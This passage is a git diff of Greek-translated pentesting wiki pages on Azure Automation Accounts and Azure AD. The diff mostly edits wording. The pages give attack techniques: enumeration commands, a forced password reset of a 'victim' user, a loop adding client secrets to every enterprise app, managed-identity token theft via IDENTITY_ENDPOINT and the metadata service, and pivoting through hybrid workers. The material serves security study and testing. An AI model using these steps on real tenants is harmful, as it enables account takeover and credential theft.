a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 069e42ee6..96be33404 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,7 +4,7 @@ ## Basic Information -Οι Λογαριασμοί Αυτοματοποίησης Azure είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud. +Οι Azure Automation Accounts είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud. ### Settings @@ -16,7 +16,7 @@ ### Runbooks & Jobs -Ένα Runbook στην Αυτοματοποίηση Azure είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα runbooks μπορούν να γραφούν σε PowerShell, Python ή Γραφικά εργαλεία. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η ενημέρωση ή οι έλεγχοι συμμόρφωσης. +Ένα Runbook στην Azure Automation είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα Runbooks μπορούν να γραφούν σε PowerShell, Python ή Γραφικά εργαλεία. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η ενημέρωση ή οι έλεγχοι συμμόρφωσης. Στον **κώδικα** που βρίσκεται μέσα στα **Runbooks** μπορεί να περιέχονται **ευαίσθητες πληροφορίες** (όπως κωδικοί). @@ -32,19 +32,19 @@ Υπάρχουν 3 κύριοι τρόποι για να εκτελέσετε ένα Runbook: -- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** τα Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**. +- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**. - **Webhooks**: Αυτά είναι **HTTP endpoints** που μπορούν να χρησιμοποιηθούν για να **ενεργοποιούν** Runbooks από **εξωτερικές υπηρεσίες**. Σημειώστε ότι το URL του webhook **δεν είναι ορατό** μετά τη δημιουργία. - **Manual Trigger**: Μπορείτε να **ενεργοποιήσετε χειροκίνητα** ένα Runbook από το Azure Portal και από το cli. ### Source Control -Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιεύσετε τα Runbooks του repo στον λογαριασμό αυτοματοποίησης Azure και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό αυτοματοποίησης Azure. +Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιεύσετε τα Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό Azure Automation. Όταν η συγχρονισμός είναι ενεργοποιημένος, στο **αποθετήριο Github δημιουργείται ένα webhook** για να ενεργοποιεί τη συγχρονισμό κάθε φορά που συμβαίνει ένα γεγονός push. Παράδειγμα URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το repo Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί. +Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το αποθετήριο Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί. -Για να λειτουργήσει η ρυθμισμένη πηγή ελέγχου, ο **Λογαριασμός Αυτοματοποίησης Azure** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να αναθέσετε μια διαχειριζόμενη ταυτότητα χρήστη στον Λογαριασμό Αυτοματοποίησης, είναι απαραίτητο να δηλώσετε το ID πελάτη της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να αναθέσετε μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό αυτοματοποίησης, είναι απαραίτητο να δηλώσετε το client ID της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Runtime Environments @@ -61,28 +61,28 @@ ### Hybrid Worker Groups -Στην Αυτοματοποίηση Azure, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε VM Azure. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure. +Στην Azure Automation, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε Azure VMs. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure. -Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλώσετε τις **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές: +Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλωθούν τα **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές: -- **Default credentials**: Δεν χρειάζεται να παρέχετε τις credentials και τα runbooks θα εκτελούνται μέσα στα VM ως **System**. -- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VM**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρες credentials** για τα VM. +- **Default credentials**: Δεν χρειάζεται να παρέχετε τα credentials και τα runbooks θα εκτελούνται μέσα στα VMs ως **System**. +- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VMs**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρα credentials** για τα VMs. -Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot). +Επομένως, αν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε έναν εξωτερικό υπολογιστή ως **System** (καλή τεχνική pivot). -Επιπλέον, εάν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**. +Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**. > [!TIP] -> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από την οποία αποκτάτε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**). +> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου αποκτάτε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**). ### State Configuration (SC) >[!WARNING] -> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Ρύθμιση Κατάστασης Αυτοματοποίησης Azure θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). +> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Azure Automation State Configuration θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). -Οι Λογαριασμοί Αυτοματοποίησης υποστηρίζουν επίσης **Ρύθμιση Κατάστασης (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VM σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** ρυθμίσεων DSC σε **Windows** και **Linux** μηχανές. +Οι λογαριασμοί αυτοματοποίησης υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VMs σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές. -Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VM**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VM, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι ρυθμίσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**. +Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VMs**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VMs, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**. ## Enumeration ```bash @@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index e6baf90ea..6618bb3a9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information -Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και προσβάσεων στο cloud. Είναι καθοριστικής σημασίας για την επιτρεπτικότητα των υπαλλήλων να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **αυθεντικοποίηση, εξουσιοδότηση και διαχείριση χρηστών**. +Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και προσβάσεων στο cloud. Είναι καθοριστικής σημασίας για την επιτρεπτή είσοδο των υπαλλήλων και την πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **authentication, authorization, and user management**. -Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **πολυπαραγοντική αυθεντικοποίηση** και **συνθήκες πρόσβασης**, μαζί με απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφαλείας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών στο cloud. +Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφαλείας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών στο cloud. -## Αριθμητική +## Enumeration -### **Σύνδεση** +### **Connection** {{#tabs }} {{#tab name="az cli" }} @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να δείτε όλες αυτές** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**. +Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να τις δείτε όλες** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**. Για παράδειγμα, ένα **powershell script** που **αυθεντικοποιεί** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα και αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτή την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της Εφαρμογής. Ωστόσο, υπάρχουν **άλλα client-ids** εφαρμογών που **θα σας επιτρέψουν να συνδεθείτε στο Azure**: -```powershell +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -178,7 +178,7 @@ $token = Invoke-Authorize -Credential $credential ` -Verbose -Debug ` -InformationAction Continue ``` -### Ενοικιαστές +### Tenants {{#tabs }} {{#tab name="az cli" }} @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtabs }} #### Αλλαγή Κωδικού Χρήστη -```powershell +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` ### MFA & Conditional Access Policies -Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: Ο χρήστης θα είναι **υποχρεωμένος σε MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια προϋπόθεση**. Αυτές οι πολιτικές, αν δεν ρυθμιστούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε: +Συνιστάται ανεπιφύλακτα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: Ο χρήστης θα είναι **υποχρεωμένος σε MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια προϋπόθεση**. Αυτές οι πολιτικές, αν δεν ρυθμιστούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -318,7 +318,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName #### Προσθήκη χρήστη σε ομάδα Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα -```powershell +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Οι ομάδες μπορεί να είναι δυναμικές, που σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **γνωρίσματα** που μπορεί να **ελέγξει** ένας **χρήστης**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\ +> Οι ομάδες μπορεί να είναι δυναμικές, που σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις, θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **γνωρίσματα** που μπορεί να **ελέγξει** ένας **χρήστης**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\ > Δείτε πώς να καταχραστείτε τις δυναμικές ομάδες στην παρακάτω σελίδα: {{#ref}} @@ -407,7 +407,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, δείτε: {{#ref}} ../az-basic-information/ @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -489,7 +489,7 @@ Headers = @{
Λίστα και προσπάθεια προσθήκης ενός client secret σε κάθε Enterprise App -```powershell +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -604,7 +604,7 @@ Write-Output "Failed to Enumerate the Applications." Όταν δημιουργείται μια Εφαρμογή, δίνονται 2 τύποι δικαιωμάτων: - **Δικαιώματα** που δίνονται στο **Service Principal** -- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** εκ μέρους του **χρήστη**. +- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** **εκ μέρους του χρήστη**. {{#tabs }} {{#tab name="az cli" }} @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -657,11 +657,11 @@ Get-AzADAppCredential > Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Μια μυστική αλφαριθμητική συμβολοσειρά που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής.\ +> Μια μυστική συμβολοσειρά που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής.\ > Έτσι, αν βρείτε αυτόν τον **κωδικό πρόσβασης** μπορείτε να έχετε πρόσβαση ως **service principal** **μέσα** στον **tenant**.\ > Σημειώστε ότι αυτός ο κωδικός πρόσβασης είναι ορατός μόνο όταν δημιουργείται (μπορείτε να τον αλλάξετε αλλά δεν μπορείτε να τον αποκτήσετε ξανά).\ -> Ο **ιδιοκτήτης** της **εφαρμογής** μπορεί να **προσθέσει έναν κωδικό πρόσβασης** σε αυτήν (έτσι ώστε να μπορεί να την προσποιηθεί).\ -> Οι συνδέσεις ως αυτές οι service principals **δεν χαρακτηρίζονται ως επικίνδυνες** και **δεν θα έχουν MFA.** +> Ο **ιδιοκτήτης** της **εφαρμογής** μπορεί να **προσθέσει έναν κωδικό πρόσβασης** σε αυτήν (έτσι μπορεί να την προσποιηθεί).\ +> Οι συνδέσεις ως αυτές οι service principals **δεν σημειώνονται ως επικίνδυνες** και **δεν θα έχουν MFA.** Είναι δυνατόν να βρείτε μια λίστα με τα κοινώς χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα είναι **σε θέση να συνδεθούν**.\ +> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\ > Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Ιδιοκτήτης** της συσκευής, θα είναι **τοπικός διαχειριστής**. ### Διοικητικές Μονάδες @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -906,16 +906,16 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ### Διαχείριση Προνομιακής Ταυτότητας (PIM) -Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά να **αποτρέπονται οι υπερβολικές προνομίες** να ανατίθενται σε χρήστες χωρίς λόγο. +Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά στην **πρόληψη της υπερβολικής εκχώρησης προνομίων** σε χρήστες χωρίς λόγο. -Ένα από τα 